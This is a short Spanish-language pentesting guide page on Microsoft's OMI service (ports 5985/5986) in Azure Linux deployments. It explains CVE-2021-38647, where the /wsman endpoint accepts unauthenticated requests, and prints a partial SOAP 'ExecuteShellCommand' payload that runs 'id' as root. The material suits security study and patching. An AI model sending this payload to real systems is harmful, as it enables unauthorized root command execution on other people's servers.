5985,5986 - Pentesting OMI

Información Básica

OMI se presenta como una herramienta de código abierto de Microsoft, diseñada para la gestión de configuración remota. Es particularmente relevante para servidores Linux en Azure que utilizan servicios como:

• Azure Automation
• Azure Automatic Update
• Azure Operations Management Suite
• Azure Log Analytics
• Azure Configuration Management
• Azure Diagnostics

El proceso omiengine se inicia y escucha en todas las interfaces como root cuando se activan estos servicios.

Los puertos predeterminados utilizados son 5985 (http) y 5986 (https).

Vulnerabilidad CVE-2021-38647

Como se observó el 16 de septiembre, los servidores Linux desplegados en Azure con los servicios mencionados son susceptibles debido a una versión vulnerable de OMI. Esta vulnerabilidad radica en el manejo de mensajes del servidor OMI a través del endpoint /wsman sin requerir un encabezado de Autenticación, autorizando incorrectamente al cliente.

Un atacante puede explotar esto enviando una carga útil SOAP "ExecuteShellCommand" sin un encabezado de Autenticación, obligando al servidor a ejecutar comandos con privilegios de root.

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

Para más información sobre este CVE check this.

Referencias

• https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/
• https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/